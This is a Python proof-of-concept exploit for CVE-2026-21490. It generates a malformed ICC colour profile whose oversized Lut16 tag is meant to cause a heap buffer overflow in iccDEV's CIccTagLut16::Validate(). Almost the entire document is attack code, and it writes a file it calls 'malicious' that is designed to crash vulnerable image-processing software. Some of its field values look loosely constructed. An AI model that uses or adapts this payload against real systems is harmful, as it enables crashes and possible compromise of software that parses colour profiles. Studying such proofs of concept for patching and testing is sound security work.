#!/usr/bin/env python3
"""
CVE-2026-21490 PoC - iccDEV heap buffer overflow in CIccTagLut16::Validate()
This PoC generates a malformed ICC profile that triggers the vulnerability.
"""
import struct
import os
def create_malformed_icc_profile():
"""
Create a minimal ICC profile with malformed Lut16 tag to trigger buffer overflow.
The vulnerability exists in CIccTagLut16::Validate() when processing oversized input.
"""
# ICC Profile Header (128 bytes)
header = bytearray(128)
# Profile size will be set later
struct.pack_into('>I', header, 0, 0) # Profile size placeholder
# Preferred CMM type
header[4:8] = b'lcms'
# Profile version
header[8:12] = struct.pack('>I', 0x04000000) # Version 4.0.0
# Profile device class
header[12:16] = b'mntr' # Monitor profile
# Color space
header[16:20] = b'RGB '
# PCS
header[20:24] = b'Lab '
# Creation date/time
header[24:36] = struct.pack('>HHHHHH', 2026, 1, 6, 12, 0, 0)
# Profile file signature
header[36:40] = b'acsp'
# Primary platform
header[40:44] = b'MSFT'
# Profile flags
struct.pack_into('>I', header, 44, 0)
# Device manufacturer
header[48:52] = b'TEST'
# Device model
header[52:56] = b'MODL'
# Device attributes
header[56:64] = b'\x00' * 8
# Rendering intent
struct.pack_into('>I', header, 64, 0)
# PCS illuminant (D50)
header[68:80] = struct.pack('>III', 0x00000000, 0x00000000, 0x00000000)
# Profile creator
header[80:84] = b'TEST'
# Profile ID
header[84:100] = b'\x00' * 16
# Tag count
tag_count = 1
# Tag table
tag_table = bytearray()
# Create a malformed Lut16 tag
# Tag signature for 'mft1' (lut16Type)
lut16_tag_data = bytearray()
lut16_tag_data.extend(b'mft1') # Type signature
lut16_tag_data.extend(struct.pack('>I', 0)) # Reserved
# Input channels
lut16_tag_data.extend(struct.pack('>B', 3)) # inputChanCnt
# Output channels
lut16_tag_data.extend(struct.pack('>B', 3)) # outputChanCnt
# CLUT grid points
lut16_tag_data.extend(struct.pack('>B', 17)) # clutGridPrec
# Input table entries
lut16_tag_data.extend(struct.pack('>B', 2)) # inputTableEnt
# Output table entries
lut16_tag_data.extend(struct.pack('>B', 2)) # outputTableEnt
# E00 input table - intentionally oversized to trigger overflow
input_table_size = 256 * 256 # Oversized
for i in range(input_table_size):
lut16_tag_data.extend(struct.pack('>H', i % 65536))
# E01 input table
for i in range(input_table_size):
lut16_tag_data.extend(struct.pack('>H', (i * 2) % 65536))
# E02 input table
for i in range(input_table_size):
lut16_tag_data.extend(struct.pack('>H', (i * 3) % 65536))
# CLUT table - oversized
clut_size = 17 * 17 * 17 * 3 * 256 # Massive oversized CLUT
for i in range(clut_size):
lut16_tag_data.extend(struct.pack('>H', i % 65536))
# Output tables - oversized
for _ in range(3):
for i in range(256 * 256):
lut16_tag_data.extend(struct.pack('>H', i % 65536))
# Tag signature for 'mft1'
tag_signature = b'mft1'
# Tag offset and size
tag_offset = 128 + 4 + tag_count * 12 # Header + tag count + tag table
tag_size = len(lut16_tag_data)
# Add to tag table
tag_table.extend(tag_signature)
tag_table.extend(struct.pack('>I', tag_offset))
tag_table.extend(struct.pack('>I', tag_size))
# Build profile
profile = header
profile.extend(struct.pack('>I', tag_count)) # Tag count
profile.extend(tag_table) # Tag table
profile.extend(lut16_tag_data) # Tag data
# Update profile size in header
struct.pack_into('>I', profile, 0, len(profile))
return bytes(profile)
def main():
print("[*] Generating malicious ICC profile for CVE-2026-21490")
print("[*] This PoC creates a malformed Lut16 tag with oversized data")
print("[*] Target: CIccTagLut16::Validate() heap buffer overflow")
poc_data = create_malformed_icc_profile()
output_file = "CVE-2026-21490_malicious.icc"
with open(output_file, 'wb') as f:
f.write(poc_data)
print(f"[+] PoC ICC profile written to: {output_file}")
print(f"[+] Profile size: {len(poc_data)} bytes")
print("[+] To trigger vulnerability, process this file with vulnerable iccDEV version")
print("[!] Note: This PoC may cause application crash when processed")
if __name__ == "__main__":
main()